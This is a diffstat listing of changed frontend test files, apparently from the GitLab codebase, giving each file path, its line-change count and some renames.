-rw-r--r--spec/frontend/content_editor/markdown_processing_examples.js27
-rw-r--r--spec/frontend/content_editor/markdown_processing_spec.js28
-rw-r--r--spec/frontend/content_editor/markdown_processing_spec_helper.js86
-rw-r--r--spec/frontend/content_editor/services/markdown_serializer_spec.js33
-rw-r--r--spec/frontend/crm/contact_form_spec.js157
-rw-r--r--spec/frontend/crm/contacts_root_spec.js150
-rw-r--r--spec/frontend/crm/mock_data.js82
-rw-r--r--spec/frontend/crm/new_organization_form_spec.js109
-rw-r--r--spec/frontend/crm/organizations_root_spec.js109
-rw-r--r--spec/frontend/delete_label_modal_spec.js83
-rw-r--r--spec/frontend/design_management/components/__snapshots__/design_note_pin_spec.js.snap28
-rw-r--r--spec/frontend/design_management/components/design_note_pin_spec.js32
-rw-r--r--spec/frontend/design_management/mock_data/apollo_mock.js2
-rw-r--r--spec/frontend/diffs/components/diff_discussions_spec.js4
-rw-r--r--spec/frontend/diffs/components/diff_file_spec.js2
-rw-r--r--spec/frontend/diffs/components/diff_row_spec.js33
-rw-r--r--spec/frontend/diffs/store/mutations_spec.js1
-rw-r--r--spec/frontend/diffs/utils/discussions_spec.js133
-rw-r--r--spec/frontend/dropzone_input_spec.js29
-rw-r--r--spec/frontend/editor/helpers.js57
-rw-r--r--spec/frontend/editor/source_editor_ci_schema_ext_spec.js2
-rw-r--r--spec/frontend/editor/source_editor_extension_base_spec.js161
-rw-r--r--spec/frontend/editor/source_editor_extension_spec.js26
-rw-r--r--spec/frontend/editor/source_editor_instance_spec.js181
-rw-r--r--spec/frontend/editor/source_editor_markdown_ext_spec.js368
-rw-r--r--spec/frontend/editor/source_editor_markdown_livepreview_ext_spec.js421
-rw-r--r--spec/frontend/editor/source_editor_spec.js396
-rw-r--r--spec/frontend/editor/source_editor_yaml_ext_spec.js76
-rw-r--r--spec/frontend/emoji/index_spec.js108
-rw-r--r--spec/frontend/environments/confirm_rollback_modal_spec.js134
-rw-r--r--spec/frontend/environments/delete_environment_modal_spec.js64
-rw-r--r--spec/frontend/environments/enable_review_app_modal_spec.js15
-rw-r--r--spec/frontend/environments/environment_delete_spec.js64
-rw-r--r--spec/frontend/environments/environment_rollback_spec.js29
-rw-r--r--spec/frontend/environments/graphql/mock_data.js27
-rw-r--r--spec/frontend/environments/graphql/resolvers_spec.js136
-rw-r--r--spec/frontend/environments/new_environment_folder_spec.js7
-rw-r--r--spec/frontend/environments/new_environments_app_spec.js243
-rw-r--r--spec/frontend/experimentation/utils_spec.js49
-rw-r--r--spec/frontend/fixtures/api_deploy_keys.rb24
-rw-r--r--spec/frontend/fixtures/api_markdown.rb65
-rw-r--r--spec/frontend/fixtures/api_markdown.yml289
-rw-r--r--spec/frontend/fixtures/blob.rb2
-rw-r--r--spec/frontend/fixtures/projects.rb26
-rw-r--r--spec/frontend/fixtures/raw.rb22
-rw-r--r--spec/frontend/fixtures/tabs.rb26
-rw-r--r--spec/frontend/fixtures/timezones.rb10
-rw-r--r--spec/frontend/flash_spec.js189
-rw-r--r--spec/frontend/gfm_auto_complete_spec.js8
-rw-r--r--spec/frontend/google_cloud/components/app_spec.js86
-rw-r--r--spec/frontend/google_cloud/components/errors/gcp_error_spec.js34
-rw-r--r--spec/frontend/google_cloud/components/errors/no_gcp_projects_spec.js33
-rw-r--r--spec/frontend/google_cloud/components/home_spec.js61
-rw-r--r--spec/frontend/google_cloud/components/service_accounts_form_spec.js59
-rw-r--r--spec/frontend/google_cloud/components/service_accounts_list_spec.js79
-rw-r--r--spec/frontend/google_cloud/components/service_accounts_spec.js79
-rw-r--r--spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap3
-rw-r--r--spec/frontend/header_search/components/app_spec.js242
-rw-r--r--spec/frontend/header_search/components/header_search_autocomplete_items_spec.js55
-rw-r--r--spec/frontend/header_search/components/header_search_default_items_spec.js27
-rw-r--r--spec/frontend/header_search/components/header_search_scoped_items_spec.js36
-rw-r--r--spec/frontend/header_search/mock_data.js78
-rw-r--r--spec/frontend/header_search/store/actions_spec.js18
-rw-r--r--spec/frontend/header_search/store/getters_spec.js127
-rw-r--r--spec/frontend/header_search/store/mutations_spec.js18
-rw-r--r--spec/frontend/ide/components/ide_tree_list_spec.js13
-rw-r--r--spec/frontend/ide/components/pipelines/__snapshots__/list_spec.js.snap10
-rw-r--r--spec/frontend/ide/components/pipelines/empty_state_spec.js44
-rw-r--r--spec/frontend/ide/components/pipelines/list_spec.js8
-rw-r--r--spec/frontend/ide/components/repo_editor_spec.js85
-rw-r--r--spec/frontend/ide/ide_router_spec.js61
-rw-r--r--spec/frontend/ide/services/index_spec.js59
-rw-r--r--spec/frontend/ide/stores/actions/project_spec.js93
-rw-r--r--spec/frontend/ide/stores/mutations/project_spec.js37
-rw-r--r--spec/frontend/import_entities/components/pagination_bar_spec.js92
-rw-r--r--spec/frontend/import_entities/import_groups/components/import_table_spec.js107
-rw-r--r--spec/frontend/import_entities/import_groups/components/import_target_cell_spec.js11
-rw-r--r--spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js59
-rw-r--r--spec/frontend/import_entities/import_groups/graphql/fixtures.js9
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap3
-rw-r--r--spec/frontend/integrations/edit/components/active_checkbox_spec.js23
-rw-r--r--spec/frontend/integrations/edit/components/integration_form_spec.js308
-rw-r--r--spec/frontend/integrations/edit/components/jira_issues_fields_spec.js13
-rw-r--r--spec/frontend/integrations/edit/mock_data.js6
-rw-r--r--spec/frontend/integrations/edit/store/actions_spec.js51
-rw-r--r--spec/frontend/integrations/edit/store/getters_spec.js32
-rw-r--r--spec/frontend/integrations/edit/store/mutations_spec.js16
-rw-r--r--spec/frontend/integrations/edit/store/state_spec.js1
-rw-r--r--spec/frontend/integrations/integration_settings_form_spec.js248
-rw-r--r--spec/frontend/integrations/overrides/components/integration_overrides_spec.js63
-rw-r--r--spec/frontend/invite_members/components/invite_members_modal_spec.js156
-rw-r--r--spec/frontend/invite_members/components/invite_members_trigger_spec.js14
-rw-r--r--spec/frontend/issuable/bulk_update_sidebar/components/status_select_spec.js77
-rw-r--r--spec/frontend/issuable/components/issuable_header_warnings_spec.js87
-rw-r--r--spec/frontend/issuable/components/issue_assignees_spec.js145
-rw-r--r--spec/frontend/issuable/components/issue_milestone_spec.js160
-rw-r--r--spec/frontend/issuable/components/related_issuable_item_spec.js206
-rw-r--r--spec/frontend/issuable/components/related_issuable_mock_data.js (renamed from spec/frontend/vue_shared/components/issue/related_issuable_mock_data.js)0
-rw-r--r--spec/frontend/issuable/issuable_form_spec.js62
-rw-r--r--spec/frontend/issuable/related_issues/components/related_issues_block_spec.js2
-rw-r--r--spec/frontend/issuable/related_issues/components/related_issues_list_spec.js2
-rw-r--r--spec/frontend/issuable/related_issues/components/related_issues_root_spec.js2
-rw-r--r--spec/frontend/issuable/related_issues/stores/related_issues_store_spec.js2
-rw-r--r--spec/frontend/issuable_bulk_update_sidebar/components/status_select_spec.js77
-rw-r--r--spec/frontend/issuable_create/components/issuable_create_root_spec.js64
-rw-r--r--spec/frontend/issuable_create/components/issuable_form_spec.js122
-rw-r--r--spec/frontend/issuable_form_spec.js62
-rw-r--r--spec/frontend/issuable_list/components/issuable_bulk_edit_sidebar_spec.js97
-rw-r--r--spec/frontend/issuable_list/components/issuable_item_spec.js478
-rw-r--r--spec/frontend/issuable_list/components/issuable_list_root_spec.js454
-rw-r--r--spec/frontend/issuable_list/components/issuable_tabs_spec.js96
-rw-r--r--spec/frontend/issuable_show/components/issuable_body_spec.js236
-rw-r--r--spec/frontend/issuable_show/components/issuable_description_spec.js69
-rw-r--r--spec/frontend/issuable_show/components/issuable_edit_form_spec.js193
-rw-r--r--spec/frontend/issuable_show/components/issuable_header_spec.js182
-rw-r--r--spec/frontend/issuable_show/components/issuable_show_root_spec.js158
-rw-r--r--spec/frontend/issuable_show/components/issuable_title_spec.js100
-rw-r--r--spec/frontend/issuable_show/mock_data.js45
-rw-r--r--spec/frontend/issuable_sidebar/components/issuable_sidebar_root_spec.js131
-rw-r--r--spec/frontend/issuable_spec.js22
-rw-r--r--spec/frontend/issuable_suggestions/components/app_spec.js100
-rw-r--r--spec/frontend/issuable_suggestions/components/item_spec.js132
-rw-r--r--spec/frontend/issuable_type_selector/components/__snapshots__/info_popover_spec.js.snap52
-rw-r--r--spec/frontend/issuable_type_selector/components/info_popover_spec.js20
-rw-r--r--spec/frontend/issue_show/components/app_spec.js682
-rw-r--r--spec/frontend/issue_show/components/description_spec.js187
-rw-r--r--spec/frontend/issue_show/components/edit_actions_spec.js163
-rw-r--r--spec/frontend/issue_show/components/edited_spec.js49
-rw-r--r--spec/frontend/issue_show/components/fields/description_spec.js70
-rw-r--r--spec/frontend/issue_show/components/fields/description_template_spec.js74
-rw-r--r--spec/frontend/issue_show/components/fields/title_spec.js42
-rw-r--r--spec/frontend/issue_show/components/fields/type_spec.js120
-rw-r--r--spec/frontend/issue_show/components/form_spec.js155
-rw-r--r--spec/frontend/issue_show/components/header_actions_spec.js348
-rw-r--r--spec/frontend/issue_show/components/incidents/highlight_bar_spec.js94
-rw-r--r--spec/frontend/issue_show/components/incidents/incident_tabs_spec.js143
-rw-r--r--spec/frontend/issue_show/components/pinned_links_spec.js48
-rw-r--r--spec/frontend/issue_show/components/title_spec.js95
-rw-r--r--spec/frontend/issue_show/issue_spec.js40
-rw-r--r--spec/frontend/issue_show/store_spec.js39
-rw-r--r--spec/frontend/issue_show/utils/update_description_spec.js24
-rw-r--r--spec/frontend/issue_spec.js91
-rw-r--r--spec/frontend/issues/issue_spec.js91
-rw-r--r--spec/frontend/issues/new/components/__snapshots__/type_popover_spec.js.snap52
-rw-r--r--spec/frontend/issues/new/components/title_suggestions_item_spec.js132
-rw-r--r--spec/frontend/issues/new/components/title_suggestions_spec.js100
-rw-r--r--spec/frontend/issues/new/components/type_popover_spec.js20
-rw-r--r--spec/frontend/issues/new/mock_data.js (renamed from spec/frontend/issuable_suggestions/mock_data.js)0
-rw-r--r--spec/frontend/issues/related_merge_requests/components/related_merge_requests_spec.js86
-rw-r--r--spec/frontend/issues/related_merge_requests/store/actions_spec.js113
-rw-r--r--spec/frontend/issues/related_merge_requests/store/mutations_spec.js49
-rw-r--r--spec/frontend/issues/sentry_error_stack_trace/components/sentry_error_stack_trace_spec.js82
-rw-r--r--spec/frontend/issues/show/components/app_spec.js645
-rw-r--r--spec/frontend/issues/show/components/delete_issue_modal_spec.js108
-rw-r--r--spec/frontend/issues/show/components/description_spec.js187
-rw-r--r--spec/frontend/issues/show/components/edit_actions_spec.js181
-rw-r--r--spec/frontend/issues/show/components/edited_spec.js49
-rw-r--r--spec/frontend/issues/show/components/fields/description_spec.js70
-rw-r--r--spec/frontend/issues/show/components/fields/description_template_spec.js74
-rw-r--r--spec/frontend/issues/show/components/fields/title_spec.js42
-rw-r--r--spec/frontend/issues/show/components/fields/type_spec.js120
-rw-r--r--spec/frontend/issues/show/components/form_spec.js156
-rw-r--r--spec/frontend/issues/show/components/header_actions_spec.js382
-rw-r--r--spec/frontend/issues/show/components/incidents/highlight_bar_spec.js94
-rw-r--r--spec/frontend/issues/show/components/incidents/incident_tabs_spec.js143
-rw-r--r--spec/frontend/issues/show/components/pinned_links_spec.js48
-rw-r--r--spec/frontend/issues/show/components/title_spec.js95
-rw-r--r--spec/frontend/issues/show/issue_spec.js40
-rw-r--r--spec/frontend/issues/show/mock_data/apollo_mock.js (renamed from spec/frontend/issue_show/mock_data/apollo_mock.js)0
-rw-r--r--spec/frontend/issues/show/mock_data/mock_data.js (renamed from spec/frontend/issue_show/mock_data/mock_data.js)0
-rw-r--r--spec/frontend/issues/show/store_spec.js39
-rw-r--r--spec/frontend/issues/show/utils/update_description_spec.js24
-rw-r--r--spec/frontend/issues_list/components/issuable_spec.js2
-rw-r--r--spec/frontend/issues_list/components/issuables_list_app_spec.js22
-rw-r--r--spec/frontend/issues_list/components/issue_card_time_info_spec.js2
-rw-r--r--spec/frontend/issues_list/components/issues_list_app_spec.js227
-rw-r--r--spec/frontend/issues_list/mock_data.js5
-rw-r--r--spec/frontend/jira_connect/subscriptions/components/app_spec.js18
-rw-r--r--spec/frontend/jira_connect/subscriptions/components/user_link_spec.js91
-rw-r--r--spec/frontend/jira_connect/subscriptions/index_spec.js36
-rw-r--r--spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap4
-rw-r--r--spec/frontend/jobs/bridge/app_spec.js33
-rw-r--r--spec/frontend/jobs/bridge/components/empty_state_spec.js59
-rw-r--r--spec/frontend/jobs/bridge/components/sidebar_spec.js76
-rw-r--r--spec/frontend/jobs/bridge/mock_data.js3
-rw-r--r--spec/frontend/jobs/components/job_sidebar_details_container_spec.js11
-rw-r--r--spec/frontend/jobs/components/table/cells/actions_cell_spec.js28
-rw-r--r--spec/frontend/jobs/mock_data.js70
-rw-r--r--spec/frontend/labels/components/delete_label_modal_spec.js64
-rw-r--r--spec/frontend/labels/components/promote_label_modal_spec.js103
-rw-r--r--spec/frontend/labels/delete_label_modal_spec.js83
-rw-r--r--spec/frontend/labels/labels_select_spec.js140
-rw-r--r--spec/frontend/labels_select_spec.js140
-rw-r--r--spec/frontend/lib/utils/common_utils_spec.js11
-rw-r--r--spec/frontend/lib/utils/dom_utils_spec.js12
-rw-r--r--spec/frontend/lib/utils/intersection_observer_spec.js86
-rw-r--r--spec/frontend/lib/utils/navigation_utility_spec.js89
-rw-r--r--spec/frontend/members/components/action_buttons/remove_member_button_spec.js19
-rw-r--r--spec/frontend/members/components/action_buttons/user_action_buttons_spec.js31
-rw-r--r--spec/frontend/members/components/table/member_action_buttons_spec.js1
-rw-r--r--spec/frontend/milestones/components/delete_milestone_modal_spec.js110
-rw-r--r--spec/frontend/milestones/components/milestone_combobox_spec.js512
-rw-r--r--spec/frontend/milestones/components/promote_milestone_modal_spec.js109
-rw-r--r--spec/frontend/milestones/milestone_combobox_spec.js512
-rw-r--r--spec/frontend/milestones/milestone_utils_spec.js47
-rw-r--r--spec/frontend/milestones/utils_spec.js47
-rw-r--r--spec/frontend/mocks/mocks_helper.js58
-rw-r--r--spec/frontend/mocks/mocks_helper_spec.js131
-rw-r--r--spec/frontend/mr_popover/__snapshots__/mr_popover_spec.js.snap14
-rw-r--r--spec/frontend/mr_popover/mr_popover_spec.js15
-rw-r--r--spec/frontend/notes/components/__snapshots__/notes_app_spec.js.snap17
-rw-r--r--spec/frontend/notes/components/discussion_filter_spec.js7
-rw-r--r--spec/frontend/notes/components/discussion_notes_spec.js4
-rw-r--r--spec/frontend/notes/components/noteable_discussion_spec.js10
-rw-r--r--spec/frontend/notes/components/notes_app_spec.js18
-rw-r--r--spec/frontend/notes/stores/actions_spec.js10
-rw-r--r--spec/frontend/notes/stores/mutation_spec.js12
-rw-r--r--spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap68
-rw-r--r--spec/frontend/packages/list/components/packages_list_app_spec.js236
-rw-r--r--spec/frontend/packages/list/components/packages_list_spec.js217
-rw-r--r--spec/frontend/packages/list/stores/actions_spec.js277
-rw-r--r--spec/frontend/packages/list/stores/getters_spec.js36
-rw-r--r--spec/frontend/packages/list/stores/mutations_spec.js87
-rw-r--r--spec/frontend/packages/list/utils_spec.js48
-rw-r--r--spec/frontend/packages/shared/components/__snapshots__/package_list_row_spec.js.snap118
-rw-r--r--spec/frontend/packages/shared/components/__snapshots__/publish_method_spec.js.snap42
-rw-r--r--spec/frontend/packages/shared/components/package_icon_and_name_spec.js32
-rw-r--r--spec/frontend/packages/shared/components/package_list_row_spec.js185
-rw-r--r--spec/frontend/packages/shared/components/package_path_spec.js104
-rw-r--r--spec/frontend/packages/shared/components/package_tags_spec.js107
-rw-r--r--spec/frontend/packages/shared/components/packages_list_loader_spec.js51
-rw-r--r--spec/frontend/packages/shared/components/publish_method_spec.js50
-rw-r--r--spec/frontend/packages/shared/utils_spec.js69
-rw-r--r--spec/frontend/packages_and_registries/container_registry/explorer/components/details_page/tags_list_spec.js214
-rw-r--r--spec/frontend/packages_and_registries/container_registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap3
-rw-r--r--spec/frontend/packages_and_registries/container_registry/explorer/mock_data.js8
-rw-r--r--spec/frontend/packages_and_registries/container_registry/explorer/pages/details_spec.js38
-rw-r--r--spec/frontend/packages_and_registries/dependency_proxy/app_spec.js23
-rw-r--r--spec/frontend/packages_and_registries/dependency_proxy/mock_data.js5
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/app_spec.js55
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/details_title_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_files_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/package_history_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/components/terraform_installation_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/actions_spec.js4
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/getters_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/details/store/mutations_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name_spec.js28
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_search_spec.js135
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/infrastructure_title_spec.js75
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/__snapshots__/packages_list_app_spec.js.snap72
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/infrastructure_search_spec.js135
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/infrastructure_title_spec.js75
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/packages_list_app_spec.js239
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/packages_list_spec.js209
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/actions_spec.js277
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/getters_spec.js36
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/mutations_spec.js87
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/list/utils_spec.js51
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/mock_data.js (renamed from spec/frontend/packages/mock_data.js)0
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/shared/__snapshots__/package_list_row_spec.js.snap118
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/shared/infrastructure_icon_and_name_spec.js28
-rw-r--r--spec/frontend/packages_and_registries/infrastructure_registry/components/shared/package_list_row_spec.js161
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/details/__snapshots__/version_row_spec.js.snap2
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/details/package_title_spec.js2
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/details/version_row_spec.js4
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/app_spec.js.snap69
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/package_list_row_spec.js.snap8
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/list/__snapshots__/publish_method_spec.js.snap1
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/list/app_spec.js282
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/list/package_list_row_spec.js30
-rw-r--r--spec/frontend/packages_and_registries/package_registry/components/list/packages_list_spec.js4
-rw-r--r--spec/frontend/packages_and_registries/package_registry/mock_data.js6
-rw-r--r--spec/frontend/packages_and_registries/package_registry/pages/__snapshots__/list_spec.js.snap73
-rw-r--r--spec/frontend/packages_and_registries/package_registry/pages/list_spec.js285
-rw-r--r--spec/frontend/packages_and_registries/settings/group/components/__snapshots__/settings_titles_spec.js.snap2
-rw-r--r--spec/frontend/packages_and_registries/settings/group/components/dependency_proxy_settings_spec.js184
-rw-r--r--spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js23
-rw-r--r--spec/frontend/packages_and_registries/settings/group/components/settings_titles_spec.js20
-rw-r--r--spec/frontend/packages_and_registries/settings/group/graphl/utils/cache_update_spec.js37
-rw-r--r--spec/frontend/packages_and_registries/settings/group/graphl/utils/optimistic_responses_spec.js19
-rw-r--r--spec/frontend/packages_and_registries/settings/group/mock_data.js24
-rw-r--r--spec/frontend/packages_and_registries/settings/project/settings/mock_data.js1
-rw-r--r--spec/frontend/packages_and_registries/shared/__snapshots__/publish_method_spec.js.snap43
-rw-r--r--spec/frontend/packages_and_registries/shared/components/registry_list_spec.js199
-rw-r--r--spec/frontend/packages_and_registries/shared/package_icon_and_name_spec.js32
-rw-r--r--spec/frontend/packages_and_registries/shared/package_path_spec.js104
-rw-r--r--spec/frontend/packages_and_registries/shared/package_tags_spec.js107
-rw-r--r--spec/frontend/packages_and_registries/shared/packages_list_loader_spec.js51
-rw-r--r--spec/frontend/packages_and_registries/shared/publish_method_spec.js50
-rw-r--r--spec/frontend/packages_and_registries/shared/utils_spec.js30
-rw-r--r--spec/frontend/pages/dashboard/projects/index/components/customize_homepage_banner_spec.js108
-rw-r--r--spec/frontend/pages/import/bulk_imports/history/components/bulk_imports_history_app_spec.js2
-rw-r--r--spec/frontend/pages/labels/components/promote_label_modal_spec.js103
-rw-r--r--spec/frontend/pages/milestones/shared/components/delete_milestone_modal_spec.js110
-rw-r--r--spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js109
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_spec.js.snap212
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_section_link_spec.js56
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/learn_gitlab_spec.js44
-rw-r--r--spec/frontend/pages/projects/learn_gitlab/components/mock_data.js4
-rw-r--r--spec/frontend/pages/shared/wikis/components/wiki_form_spec.js172
-rw-r--r--spec/frontend/pipeline_editor/components/commit/commit_form_spec.js6
-rw-r--r--spec/frontend/pipeline_editor/components/commit/commit_section_spec.js149
-rw-r--r--spec/frontend/pipeline_editor/components/editor/text_editor_spec.js5
-rw-r--r--spec/frontend/pipeline_editor/components/file-nav/branch_switcher_spec.js105
-rw-r--r--spec/frontend/pipeline_editor/components/header/pipeline_status_spec.js24
-rw-r--r--spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js4
-rw-r--r--spec/frontend/pipeline_editor/mock_data.js54
-rw-r--r--spec/frontend/pipeline_editor/pipeline_editor_app_spec.js97
-rw-r--r--spec/frontend/pipelines/__snapshots__/utils_spec.js.snap47
-rw-r--r--spec/frontend/pipelines/components/jobs/jobs_app_spec.js106
-rw-r--r--spec/frontend/pipelines/graph/graph_component_wrapper_spec.js44
-rw-r--r--spec/frontend/pipelines/graph/graph_view_selector_spec.js36
-rw-r--r--spec/frontend/pipelines/graph/mock_data.js81
-rw-r--r--spec/frontend/pipelines/mock_data.js141
-rw-r--r--spec/frontend/projects/new/components/new_project_url_select_spec.js83
-rw-r--r--spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap10
-rw-r--r--spec/frontend/projects/pipelines/charts/components/app_spec.js22
-rw-r--r--spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js13
-rw-r--r--spec/frontend/projects/pipelines/charts/mock_data.js2
-rw-r--r--spec/frontend/projects/settings/components/transfer_project_form_spec.js68
-rw-r--r--spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js13
-rw-r--r--spec/frontend/projects/storage_counter/components/app_spec.js150
-rw-r--r--spec/frontend/projects/storage_counter/components/storage_table_spec.js63
-rw-r--r--spec/frontend/projects/storage_counter/components/storage_type_icon_spec.js41
-rw-r--r--spec/frontend/projects/storage_counter/mock_data.js92
-rw-r--r--spec/frontend/projects/storage_counter/utils_spec.js34
-rw-r--r--spec/frontend/related_merge_requests/components/related_merge_requests_spec.js86
-rw-r--r--spec/frontend/related_merge_requests/store/actions_spec.js113
-rw-r--r--spec/frontend/related_merge_requests/store/mutations_spec.js49
-rw-r--r--spec/frontend/releases/__snapshots__/util_spec.js.snap7
-rw-r--r--spec/frontend/releases/components/app_show_spec.js1
-rw-r--r--spec/frontend/releases/util_spec.js23
-rw-r--r--spec/frontend/repository/commits_service_spec.js7
-rw-r--r--spec/frontend/repository/components/__snapshots__/last_commit_spec.js.snap6
-rw-r--r--spec/frontend/repository/components/blob_button_group_spec.js1
-rw-r--r--spec/frontend/repository/components/blob_content_viewer_spec.js50
-rw-r--r--spec/frontend/repository/components/blob_viewers/pdf_viewer_spec.js59
-rw-r--r--spec/frontend/repository/components/blob_viewers/text_viewer_spec.js30
-rw-r--r--spec/frontend/repository/components/delete_blob_modal_spec.js26
-rw-r--r--spec/frontend/repository/components/table/row_spec.js25
-rw-r--r--spec/frontend/repository/components/tree_content_spec.js28
-rw-r--r--spec/frontend/repository/components/upload_blob_modal_spec.js4
-rw-r--r--spec/frontend/repository/mock_data.js10
-rw-r--r--spec/frontend/runner/admin_runners/admin_runners_app_spec.js6
-rw-r--r--spec/frontend/runner/components/cells/runner_actions_cell_spec.js350
-rw-r--r--spec/frontend/runner/components/runner_contacted_state_badge_spec.js86
-rw-r--r--spec/frontend/runner/components/runner_delete_modal_spec.js60
-rw-r--r--spec/frontend/runner/components/runner_filtered_search_bar_spec.js11
-rw-r--r--spec/frontend/runner/components/runner_list_spec.js44
-rw-r--r--spec/frontend/runner/components/runner_status_badge_spec.js130
-rw-r--r--spec/frontend/runner/components/search_tokens/tag_token_spec.js2
-rw-r--r--spec/frontend/runner/components/stat/runner_online_stat_spec.js34
-rw-r--r--spec/frontend/runner/group_runners/group_runners_app_spec.js10
-rw-r--r--spec/frontend/security_configuration/components/app_spec.js55
-rw-r--r--spec/frontend/security_configuration/components/training_provider_list_spec.js88
-rw-r--r--spec/frontend/security_configuration/mock_data.js30
-rw-r--r--spec/frontend/security_configuration/utils_spec.js199
-rw-r--r--spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap1
-rw-r--r--spec/frontend/sentry_error_stack_trace/components/sentry_error_stack_trace_spec.js82
-rw-r--r--spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap6
-rw-r--r--spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js39
-rw-r--r--spec/frontend/shortcuts_spec.js9
-rw-r--r--spec/frontend/sidebar/components/assignees/sidebar_assignees_widget_spec.js2
-rw-r--r--spec/frontend/sidebar/components/attention_requested_toggle_spec.js84
-rw-r--r--spec/frontend/sidebar/components/attention_required_toggle_spec.js84
-rw-r--r--spec/frontend/sidebar/components/crm_contacts_spec.js87
-rw-r--r--spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js9
-rw-r--r--spec/frontend/sidebar/components/date/sidebar_inherit_date_spec.js12
-rw-r--r--spec/frontend/sidebar/components/mock_data.js56
-rw-r--r--spec/frontend/sidebar/components/reference/sidebar_reference_widget_spec.js2
-rw-r--r--spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js16
-rw-r--r--spec/frontend/sidebar/components/time_tracking/mock_data.js10
-rw-r--r--spec/frontend/sidebar/mock_data.js31
-rw-r--r--spec/frontend/sidebar/sidebar_labels_spec.js190
-rw-r--r--spec/frontend/snippets/components/__snapshots__/snippet_visibility_edit_spec.js.snap1
-rw-r--r--spec/frontend/snippets/components/edit_spec.js1
-rw-r--r--spec/frontend/snippets/components/snippet_header_spec.js2
-rw-r--r--spec/frontend/snippets/test_utils.js1
-rw-r--r--spec/frontend/tabs/index_spec.js260
-rw-r--r--spec/frontend/terraform/components/terraform_list_spec.js1
-rw-r--r--spec/frontend/test_setup.js98
-rw-r--r--spec/frontend/token_access/mock_data.js13
-rw-r--r--spec/frontend/transfer_edit_spec.js10
-rw-r--r--spec/frontend/vue_mr_widget/components/extensions/utils_spec.js18
-rw-r--r--spec/frontend/vue_mr_widget/components/states/commit_edit_spec.js9
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_archived_spec.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js42
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_ready_to_merge_spec.js12
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_wip_spec.js4
-rw-r--r--spec/frontend/vue_mr_widget/components/terraform/terraform_plan_spec.js6
-rw-r--r--spec/frontend/vue_mr_widget/mock_data.js2
-rw-r--r--spec/frontend/vue_mr_widget/mr_widget_options_spec.js60
-rw-r--r--spec/frontend/vue_mr_widget/test_extension.js39
-rw-r--r--spec/frontend/vue_mr_widget/test_extensions.js99
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap1
-rw-r--r--spec/frontend/vue_shared/components/chronic_duration_input_spec.js390
-rw-r--r--spec/frontend/vue_shared/components/clipboard_button_spec.js10
-rw-r--r--spec/frontend/vue_shared/components/confirm_danger/confirm_danger_spec.js6
-rw-r--r--spec/frontend/vue_shared/components/confirm_modal_spec.js63
-rw-r--r--spec/frontend/vue_shared/components/delete_label_modal_spec.js64
-rw-r--r--spec/frontend/vue_shared/components/design_management/__snapshots__/design_note_pin_spec.js.snap55
-rw-r--r--spec/frontend/vue_shared/components/design_management/design_note_pin_spec.js42
-rw-r--r--spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js7
-rw-r--r--spec/frontend/vue_shared/components/dismissible_alert_spec.js4
